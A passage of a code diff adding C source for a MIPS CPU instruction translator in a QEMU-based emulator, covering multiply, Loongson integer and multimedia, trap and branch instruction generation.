*cpu_HI[acc]); + tcg_gen_sub_i64(tcg_ctx, t2, t3, t2); + tcg_temp_free_i64(tcg_ctx, t3); + tcg_gen_trunc_i64_tl(tcg_ctx, t0, t2); + tcg_gen_shri_i64(tcg_ctx, t2, t2, 32); + tcg_gen_trunc_i64_tl(tcg_ctx, t1, t2); + tcg_temp_free_i64(tcg_ctx, t2); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_LO[acc], t0); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_HI[acc], t1); + } + opn = "msub"; + break; + case OPC_MSUBU: + { + TCGv_i64 t2 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 t3 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_extu_tl_i64(tcg_ctx, t2, t0); + tcg_gen_extu_tl_i64(tcg_ctx, t3, t1); + tcg_gen_mul_i64(tcg_ctx, t2, t2, t3); + tcg_gen_concat_tl_i64(tcg_ctx, t3, *cpu_LO[acc], *cpu_HI[acc]); + tcg_gen_sub_i64(tcg_ctx, t2, t3, t2); + tcg_temp_free_i64(tcg_ctx, t3); + tcg_gen_trunc_i64_tl(tcg_ctx, t0, t2); + tcg_gen_shri_i64(tcg_ctx, t2, t2, 32); + tcg_gen_trunc_i64_tl(tcg_ctx, t1, t2); + tcg_temp_free_i64(tcg_ctx, t2); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_LO[acc], t0); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_HI[acc], t1); + } + opn = "msubu"; + break; + default: + MIPS_INVAL(opn); + generate_exception(ctx, EXCP_RI); + goto out; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s %s", opn, regnames[rs], regnames[rt]); + out: + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_mul_vr54xx (DisasContext *ctx, uint32_t opc, + int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "mul vr54xx"; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + + switch (opc) { + case OPC_VR54XX_MULS: + gen_helper_muls(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "muls"; + break; + case OPC_VR54XX_MULSU: + gen_helper_mulsu(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "mulsu"; + break; + case OPC_VR54XX_MACC: + gen_helper_macc(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "macc"; + break; + case OPC_VR54XX_MACCU: + gen_helper_maccu(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "maccu"; + break; + case OPC_VR54XX_MSAC: + gen_helper_msac(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "msac"; + break; + case OPC_VR54XX_MSACU: + gen_helper_msacu(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "msacu"; + break; + case OPC_VR54XX_MULHI: + gen_helper_mulhi(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "mulhi"; + break; + case OPC_VR54XX_MULHIU: + gen_helper_mulhiu(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "mulhiu"; + break; + case OPC_VR54XX_MULSHI: + gen_helper_mulshi(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "mulshi"; + break; + case OPC_VR54XX_MULSHIU: + gen_helper_mulshiu(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "mulshiu"; + break; + case OPC_VR54XX_MACCHI: + gen_helper_macchi(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "macchi"; + break; + case OPC_VR54XX_MACCHIU: + gen_helper_macchiu(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "macchiu"; + break; + case OPC_VR54XX_MSACHI: + gen_helper_msachi(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "msachi"; + break; + case OPC_VR54XX_MSACHIU: + gen_helper_msachiu(tcg_ctx, t0, tcg_ctx->cpu_env, t0, t1); + opn = "msachiu"; + break; + default: + MIPS_INVAL("mul vr54xx"); + generate_exception(ctx, EXCP_RI); + goto out; + } + gen_store_gpr(tcg_ctx, t0, rd); + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s", opn, regnames[rd], regnames[rs], regnames[rt]); + + out: + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_cl (DisasContext *ctx, uint32_t opc, + int rd, int rs) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "CLx"; + TCGv t0; + + if (rd == 0) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + t0 = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, t0, rs); + switch (opc) { + case OPC_CLO: + case R6_OPC_CLO: + gen_helper_clo(tcg_ctx, *cpu_gpr[rd], t0); + opn = "clo"; + break; + case OPC_CLZ: + case R6_OPC_CLZ: + gen_helper_clz(tcg_ctx, *cpu_gpr[rd], t0); + opn = "clz"; + break; +#if defined(TARGET_MIPS64) + case OPC_DCLO: + case R6_OPC_DCLO: + gen_helper_dclo(tcg_ctx, *cpu_gpr[rd], t0); + opn = "dclo"; + break; + case OPC_DCLZ: + case R6_OPC_DCLZ: + gen_helper_dclz(tcg_ctx, *cpu_gpr[rd], t0); + opn = "dclz"; + break; +#endif + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s", opn, regnames[rd], regnames[rs]); + tcg_temp_free(tcg_ctx, t0); +} + +/* Godson integer instructions */ +static void gen_loongson_integer(DisasContext *ctx, uint32_t opc, + int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "loongson"; + TCGv t0, t1; + + if (rd == 0) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + switch (opc) { + case OPC_MULT_G_2E: + case OPC_MULT_G_2F: + case OPC_MULTU_G_2E: + case OPC_MULTU_G_2F: +#if defined(TARGET_MIPS64) + case OPC_DMULT_G_2E: + case OPC_DMULT_G_2F: + case OPC_DMULTU_G_2E: + case OPC_DMULTU_G_2F: +#endif + t0 = tcg_temp_new(tcg_ctx); + t1 = tcg_temp_new(tcg_ctx); + break; + default: + t0 = tcg_temp_local_new(tcg_ctx); + t1 = tcg_temp_local_new(tcg_ctx); + break; + } + + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + + switch (opc) { + case OPC_MULT_G_2E: + case OPC_MULT_G_2F: + tcg_gen_mul_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + opn = "mult.g"; + break; + case OPC_MULTU_G_2E: + case OPC_MULTU_G_2F: + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_mul_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + opn = "multu.g"; + break; + case OPC_DIV_G_2E: + case OPC_DIV_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + int l3 = gen_new_label(tcg_ctx); + tcg_gen_ext32s_tl(tcg_ctx, t0, t0); + tcg_gen_ext32s_tl(tcg_ctx, t1, t1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, 0, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l3); + gen_set_label(tcg_ctx, l1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t0, INT_MIN, l2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, -1, l2); + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], t0); + tcg_gen_br(tcg_ctx, l3); + gen_set_label(tcg_ctx, l2); + tcg_gen_div_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + gen_set_label(tcg_ctx, l3); + } + opn = "div.g"; + break; + case OPC_DIVU_G_2E: + case OPC_DIVU_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, 0, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l2); + gen_set_label(tcg_ctx, l1); + tcg_gen_divu_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + gen_set_label(tcg_ctx, l2); + } + opn = "divu.g"; + break; + case OPC_MOD_G_2E: + case OPC_MOD_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + int l3 = gen_new_label(tcg_ctx); + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, t1, 0, l1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t0, INT_MIN, l2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, -1, l2); + gen_set_label(tcg_ctx, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l3); + gen_set_label(tcg_ctx, l2); + tcg_gen_rem_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + gen_set_label(tcg_ctx, l3); + } + opn = "mod.g"; + break; + case OPC_MODU_G_2E: + case OPC_MODU_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + tcg_gen_ext32u_tl(tcg_ctx, t0, t0); + tcg_gen_ext32u_tl(tcg_ctx, t1, t1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, 0, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l2); + gen_set_label(tcg_ctx, l1); + tcg_gen_remu_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rd]); + gen_set_label(tcg_ctx, l2); + } + opn = "modu.g"; + break; +#if defined(TARGET_MIPS64) + case OPC_DMULT_G_2E: + case OPC_DMULT_G_2F: + tcg_gen_mul_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + opn = "dmult.g"; + break; + case OPC_DMULTU_G_2E: + case OPC_DMULTU_G_2F: + tcg_gen_mul_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + opn = "dmultu.g"; + break; + case OPC_DDIV_G_2E: + case OPC_DDIV_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + int l3 = gen_new_label(tcg_ctx); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, 0, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l3); + gen_set_label(tcg_ctx, l1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t0, -1ULL << 63, l2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, -1LL, l2); + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], t0); + tcg_gen_br(tcg_ctx, l3); + gen_set_label(tcg_ctx, l2); + tcg_gen_div_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + gen_set_label(tcg_ctx, l3); + } + opn = "ddiv.g"; + break; + case OPC_DDIVU_G_2E: + case OPC_DDIVU_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, 0, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l2); + gen_set_label(tcg_ctx, l1); + tcg_gen_divu_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + gen_set_label(tcg_ctx, l2); + } + opn = "ddivu.g"; + break; + case OPC_DMOD_G_2E: + case OPC_DMOD_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + int l3 = gen_new_label(tcg_ctx); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_EQ, t1, 0, l1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t0, -1ULL << 63, l2); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, -1LL, l2); + gen_set_label(tcg_ctx, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l3); + gen_set_label(tcg_ctx, l2); + tcg_gen_rem_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + gen_set_label(tcg_ctx, l3); + } + opn = "dmod.g"; + break; + case OPC_DMODU_G_2E: + case OPC_DMODU_G_2F: + { + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t1, 0, l1); + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + tcg_gen_br(tcg_ctx, l2); + gen_set_label(tcg_ctx, l1); + tcg_gen_remu_tl(tcg_ctx, *cpu_gpr[rd], t0, t1); + gen_set_label(tcg_ctx, l2); + } + opn = "dmodu.g"; + break; +#endif + } + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s", opn, regnames[rd], regnames[rs]); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +/* Loongson multimedia instructions */ +static void gen_loongson_multimedia(DisasContext *ctx, int rd, int rs, int rt) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "loongson_cp2"; + uint32_t opc, shift_max; + TCGv_i64 t0, t1; + + opc = MASK_LMI(ctx->opcode); + switch (opc) { + case OPC_ADD_CP2: + case OPC_SUB_CP2: + case OPC_DADD_CP2: + case OPC_DSUB_CP2: + t0 = tcg_temp_local_new_i64(tcg_ctx); + t1 = tcg_temp_local_new_i64(tcg_ctx); + break; + default: + t0 = tcg_temp_new_i64(tcg_ctx); + t1 = tcg_temp_new_i64(tcg_ctx); + break; + } + + gen_load_fpr64(ctx, t0, rs); + gen_load_fpr64(ctx, t1, rt); + +#define LMI_HELPER(UP, LO) \ + case OPC_##UP: gen_helper_##LO(tcg_ctx, t0, t0, t1); opn = #LO; break +#define LMI_HELPER_1(UP, LO) \ + case OPC_##UP: gen_helper_##LO(tcg_ctx, t0, t0); opn = #LO; break +#define LMI_DIRECT(UP, LO, OP) \ + case OPC_##UP: tcg_gen_##OP##_i64(tcg_ctx, t0, t0, t1); opn = #LO; break + + switch (opc) { + LMI_HELPER(PADDSH, paddsh); + LMI_HELPER(PADDUSH, paddush); + LMI_HELPER(PADDH, paddh); + LMI_HELPER(PADDW, paddw); + LMI_HELPER(PADDSB, paddsb); + LMI_HELPER(PADDUSB, paddusb); + LMI_HELPER(PADDB, paddb); + + LMI_HELPER(PSUBSH, psubsh); + LMI_HELPER(PSUBUSH, psubush); + LMI_HELPER(PSUBH, psubh); + LMI_HELPER(PSUBW, psubw); + LMI_HELPER(PSUBSB, psubsb); + LMI_HELPER(PSUBUSB, psubusb); + LMI_HELPER(PSUBB, psubb); + + LMI_HELPER(PSHUFH, pshufh); + LMI_HELPER(PACKSSWH, packsswh); + LMI_HELPER(PACKSSHB, packsshb); + LMI_HELPER(PACKUSHB, packushb); + + LMI_HELPER(PUNPCKLHW, punpcklhw); + LMI_HELPER(PUNPCKHHW, punpckhhw); + LMI_HELPER(PUNPCKLBH, punpcklbh); + LMI_HELPER(PUNPCKHBH, punpckhbh); + LMI_HELPER(PUNPCKLWD, punpcklwd); + LMI_HELPER(PUNPCKHWD, punpckhwd); + + LMI_HELPER(PAVGH, pavgh); + LMI_HELPER(PAVGB, pavgb); + LMI_HELPER(PMAXSH, pmaxsh); + LMI_HELPER(PMINSH, pminsh); + LMI_HELPER(PMAXUB, pmaxub); + LMI_HELPER(PMINUB, pminub); + + LMI_HELPER(PCMPEQW, pcmpeqw); + LMI_HELPER(PCMPGTW, pcmpgtw); + LMI_HELPER(PCMPEQH, pcmpeqh); + LMI_HELPER(PCMPGTH, pcmpgth); + LMI_HELPER(PCMPEQB, pcmpeqb); + LMI_HELPER(PCMPGTB, pcmpgtb); + + LMI_HELPER(PSLLW, psllw); + LMI_HELPER(PSLLH, psllh); + LMI_HELPER(PSRLW, psrlw); + LMI_HELPER(PSRLH, psrlh); + LMI_HELPER(PSRAW, psraw); + LMI_HELPER(PSRAH, psrah); + + LMI_HELPER(PMULLH, pmullh); + LMI_HELPER(PMULHH, pmulhh); + LMI_HELPER(PMULHUH, pmulhuh); + LMI_HELPER(PMADDHW, pmaddhw); + + LMI_HELPER(PASUBUB, pasubub); + LMI_HELPER_1(BIADD, biadd); + LMI_HELPER_1(PMOVMSKB, pmovmskb); + + LMI_DIRECT(PADDD, paddd, add); + LMI_DIRECT(PSUBD, psubd, sub); + LMI_DIRECT(XOR_CP2, xor, xor); + LMI_DIRECT(NOR_CP2, nor, nor); + LMI_DIRECT(AND_CP2, and, and); + LMI_DIRECT(PANDN, pandn, andc); + LMI_DIRECT(OR, or, or); + + case OPC_PINSRH_0: + tcg_gen_deposit_i64(tcg_ctx, t0, t0, t1, 0, 16); + opn = "pinsrh_0"; + break; + case OPC_PINSRH_1: + tcg_gen_deposit_i64(tcg_ctx, t0, t0, t1, 16, 16); + opn = "pinsrh_1"; + break; + case OPC_PINSRH_2: + tcg_gen_deposit_i64(tcg_ctx, t0, t0, t1, 32, 16); + opn = "pinsrh_2"; + break; + case OPC_PINSRH_3: + tcg_gen_deposit_i64(tcg_ctx, t0, t0, t1, 48, 16); + opn = "pinsrh_3"; + break; + + case OPC_PEXTRH: + tcg_gen_andi_i64(tcg_ctx, t1, t1, 3); + tcg_gen_shli_i64(tcg_ctx, t1, t1, 4); + tcg_gen_shr_i64(tcg_ctx, t0, t0, t1); + tcg_gen_ext16u_i64(tcg_ctx, t0, t0); + opn = "pextrh"; + break; + + case OPC_ADDU_CP2: + tcg_gen_add_i64(tcg_ctx, t0, t0, t1); + tcg_gen_ext32s_i64(tcg_ctx, t0, t0); + opn = "addu"; + break; + case OPC_SUBU_CP2: + tcg_gen_sub_i64(tcg_ctx, t0, t0, t1); + tcg_gen_ext32s_i64(tcg_ctx, t0, t0); + opn = "addu"; + break; + + case OPC_SLL_CP2: + opn = "sll"; + shift_max = 32; + goto do_shift; + case OPC_SRL_CP2: + opn = "srl"; + shift_max = 32; + goto do_shift; + case OPC_SRA_CP2: + opn = "sra"; + shift_max = 32; + goto do_shift; + case OPC_DSLL_CP2: + opn = "dsll"; + shift_max = 64; + goto do_shift; + case OPC_DSRL_CP2: + opn = "dsrl"; + shift_max = 64; + goto do_shift; + case OPC_DSRA_CP2: + opn = "dsra"; + shift_max = 64; + goto do_shift; + do_shift: + /* Make sure shift count isn't TCG undefined behaviour. */ + tcg_gen_andi_i64(tcg_ctx, t1, t1, shift_max - 1); + + switch (opc) { + case OPC_SLL_CP2: + case OPC_DSLL_CP2: + tcg_gen_shl_i64(tcg_ctx, t0, t0, t1); + break; + case OPC_SRA_CP2: + case OPC_DSRA_CP2: + /* Since SRA is UndefinedResult without sign-extended inputs, + we can treat SRA and DSRA the same. */ + tcg_gen_sar_i64(tcg_ctx, t0, t0, t1); + break; + case OPC_SRL_CP2: + /* We want to shift in zeros for SRL; zero-extend first. */ + tcg_gen_ext32u_i64(tcg_ctx, t0, t0); + /* FALLTHRU */ + case OPC_DSRL_CP2: + tcg_gen_shr_i64(tcg_ctx, t0, t0, t1); + break; + } + + if (shift_max == 32) { + tcg_gen_ext32s_i64(tcg_ctx, t0, t0); + } + + /* Shifts larger than MAX produce zero. */ + tcg_gen_setcondi_i64(tcg_ctx, TCG_COND_LTU, t1, t1, shift_max); + tcg_gen_neg_i64(tcg_ctx, t1, t1); + tcg_gen_and_i64(tcg_ctx, t0, t0, t1); + break; + + case OPC_ADD_CP2: + case OPC_DADD_CP2: + { + TCGv_i64 t2 = tcg_temp_new_i64(tcg_ctx); + int lab = gen_new_label(tcg_ctx); + + tcg_gen_mov_i64(tcg_ctx, t2, t0); + tcg_gen_add_i64(tcg_ctx, t0, t1, t2); + if (opc == OPC_ADD_CP2) { + tcg_gen_ext32s_i64(tcg_ctx, t0, t0); + } + tcg_gen_xor_i64(tcg_ctx, t1, t1, t2); + tcg_gen_xor_i64(tcg_ctx, t2, t2, t0); + tcg_gen_andc_i64(tcg_ctx, t1, t2, t1); + tcg_temp_free_i64(tcg_ctx, t2); + tcg_gen_brcondi_i64(tcg_ctx, TCG_COND_GE, t1, 0, lab); + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, lab); + + opn = (opc == OPC_ADD_CP2 ? "add" : "dadd"); + break; + } + + case OPC_SUB_CP2: + case OPC_DSUB_CP2: + { + TCGv_i64 t2 = tcg_temp_new_i64(tcg_ctx); + int lab = gen_new_label(tcg_ctx); + + tcg_gen_mov_i64(tcg_ctx, t2, t0); + tcg_gen_sub_i64(tcg_ctx, t0, t1, t2); + if (opc == OPC_SUB_CP2) { + tcg_gen_ext32s_i64(tcg_ctx, t0, t0); + } + tcg_gen_xor_i64(tcg_ctx, t1, t1, t2); + tcg_gen_xor_i64(tcg_ctx, t2, t2, t0); + tcg_gen_and_i64(tcg_ctx, t1, t1, t2); + tcg_temp_free_i64(tcg_ctx, t2); + tcg_gen_brcondi_i64(tcg_ctx, TCG_COND_GE, t1, 0, lab); + generate_exception(ctx, EXCP_OVERFLOW); + gen_set_label(tcg_ctx, lab); + + opn = (opc == OPC_SUB_CP2 ? "sub" : "dsub"); + break; + } + + case OPC_PMULUW: + tcg_gen_ext32u_i64(tcg_ctx, t0, t0); + tcg_gen_ext32u_i64(tcg_ctx, t1, t1); + tcg_gen_mul_i64(tcg_ctx, t0, t0, t1); + opn = "pmuluw"; + break; + + case OPC_SEQU_CP2: + case OPC_SEQ_CP2: + case OPC_SLTU_CP2: + case OPC_SLT_CP2: + case OPC_SLEU_CP2: + case OPC_SLE_CP2: + /* ??? Document is unclear: Set FCC[CC]. Does that mean the + FD field is the CC field? */ + default: + MIPS_INVAL(opn); + generate_exception(ctx, EXCP_RI); + return; + } + +#undef LMI_HELPER +#undef LMI_DIRECT + + gen_store_fpr64(ctx, t0, rd); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s", opn, + fregnames[rd], fregnames[rs], fregnames[rt]); + tcg_temp_free_i64(tcg_ctx, t0); + tcg_temp_free_i64(tcg_ctx, t1); +} + +/* Traps */ +static void gen_trap (DisasContext *ctx, uint32_t opc, + int rs, int rt, int16_t imm) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + int cond; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + cond = 0; + /* Load needed operands */ + switch (opc) { + case OPC_TEQ: + case OPC_TGE: + case OPC_TGEU: + case OPC_TLT: + case OPC_TLTU: + case OPC_TNE: + /* Compare two registers */ + if (rs != rt) { + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + cond = 1; + } + break; + case OPC_TEQI: + case OPC_TGEI: + case OPC_TGEIU: + case OPC_TLTI: + case OPC_TLTIU: + case OPC_TNEI: + /* Compare register to immediate */ + if (rs != 0 || imm != 0) { + gen_load_gpr(ctx, t0, rs); + tcg_gen_movi_tl(tcg_ctx, t1, (int32_t)imm); + cond = 1; + } + break; + } + if (cond == 0) { + switch (opc) { + case OPC_TEQ: /* rs == rs */ + case OPC_TEQI: /* r0 == 0 */ + case OPC_TGE: /* rs >= rs */ + case OPC_TGEI: /* r0 >= 0 */ + case OPC_TGEU: /* rs >= rs unsigned */ + case OPC_TGEIU: /* r0 >= 0 unsigned */ + /* Always trap */ + generate_exception(ctx, EXCP_TRAP); + break; + case OPC_TLT: /* rs < rs */ + case OPC_TLTI: /* r0 < 0 */ + case OPC_TLTU: /* rs < rs unsigned */ + case OPC_TLTIU: /* r0 < 0 unsigned */ + case OPC_TNE: /* rs != rs */ + case OPC_TNEI: /* r0 != 0 */ + /* Never trap: treat as NOP. */ + break; + } + } else { + int l1 = gen_new_label(tcg_ctx); + + switch (opc) { + case OPC_TEQ: + case OPC_TEQI: + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_NE, t0, t1, l1); + break; + case OPC_TGE: + case OPC_TGEI: + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_LT, t0, t1, l1); + break; + case OPC_TGEU: + case OPC_TGEIU: + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_LTU, t0, t1, l1); + break; + case OPC_TLT: + case OPC_TLTI: + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_GE, t0, t1, l1); + break; + case OPC_TLTU: + case OPC_TLTIU: + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_GEU, t0, t1, l1); + break; + case OPC_TNE: + case OPC_TNEI: + tcg_gen_brcond_tl(tcg_ctx, TCG_COND_EQ, t0, t1, l1); + break; + } + generate_exception(ctx, EXCP_TRAP); + gen_set_label(tcg_ctx, l1); + } + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static inline void gen_goto_tb(DisasContext *ctx, int n, target_ulong dest) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TranslationBlock *tb; + tb = ctx->tb; + if ((tb->pc & TARGET_PAGE_MASK) == (dest & TARGET_PAGE_MASK) && + likely(!ctx->singlestep_enabled)) { + tcg_gen_goto_tb(tcg_ctx, n); + gen_save_pc(ctx, dest); + tcg_gen_exit_tb(tcg_ctx, (uintptr_t)tb + n); + } else { + gen_save_pc(ctx, dest); + if (ctx->singlestep_enabled) { + save_cpu_state(ctx, 0); + gen_helper_0e0i(tcg_ctx, raise_exception, EXCP_DEBUG); + } + tcg_gen_exit_tb(tcg_ctx, 0); + } +} + +/* Branches (before delay slot) */ +static void gen_compute_branch (DisasContext *ctx, uint32_t opc, + int insn_bytes, + int rs, int rt, int32_t offset, + int delayslot_size) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + target_ulong btgt = -1; + int blink = 0; + int bcond_compute = 0; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + if (ctx->hflags & MIPS_HFLAG_BMASK) { +#ifdef MIPS_DEBUG_DISAS + LOG_DISAS("Branch in delay / forbidden slot at PC 0x" + TARGET_FMT_lx "\n", ctx->pc); +#endif + generate_exception(ctx, EXCP_RI); + goto out; + } + + /* Load needed operands */ + switch (opc) { + case OPC_BEQ: + case OPC_BEQL: + case OPC_BNE: + case OPC_BNEL: + /* Compare two registers */ + if (rs != rt) { + gen_load_gpr(ctx, t0, rs); + gen_load_gpr(ctx, t1, rt); + bcond_compute = 1; + } + btgt = ctx->pc + insn_bytes + offset; + break; + case OPC_BGEZ: + case OPC_BGEZAL: + case OPC_BGEZALL: + case OPC_BGEZL: + case OPC_BGTZ: + case OPC_BGTZL: + case OPC_BLEZ: + case OPC_BLEZL: + case OPC_BLTZ: + case OPC_BLTZAL: + case OPC_BLTZALL: + case OPC_BLTZL: + /* Compare to zero */ + if (rs != 0) { + gen_load_gpr(ctx, t0, rs); + bcond_compute = 1; + } + btgt = ctx->pc + insn_bytes + offset; + break; + case OPC_BPOSGE32: +#if defined(TARGET_MIPS64) + case OPC_BPOSGE64: + tcg_gen_andi_tl(tcg_ctx, t0, *(TCGv *)tcg_ctx->cpu_dspctrl, 0x7F); +#else + tcg_gen_andi_tl(tcg_ctx, t0, *(TCGv *)tcg_ctx->cpu_dspctrl, 0x3F); +#endif + bcond_compute = 1; + btgt = ctx->pc + insn_bytes + offset; + break; + case OPC_J: + case OPC_JAL: + case OPC_JALX: + /* Jump to immediate */ + btgt = ((ctx->pc + insn_bytes) & (int32_t)0xF0000000) | (uint32_t)offset; + break; + case OPC_JR: + case OPC_JALR: + /* Jump to register */ + if (offset != 0 && offset != 16) { + /* Hint = 0 is JR/JALR, hint 16 is JR.HB/JALR.HB, the + others are reserved. */ + MIPS_INVAL("jump hint"); + generate_exception(ctx, EXCP_RI); + goto out; + } + gen_load_gpr(ctx, *(TCGv *)tcg_ctx->btarget, rs); + break; + default: + MIPS_INVAL("branch/jump"); + generate_exception(ctx, EXCP_RI); + goto out; + } + if (bcond_compute == 0) { + /* No condition to be computed */ + switch (opc) { + case 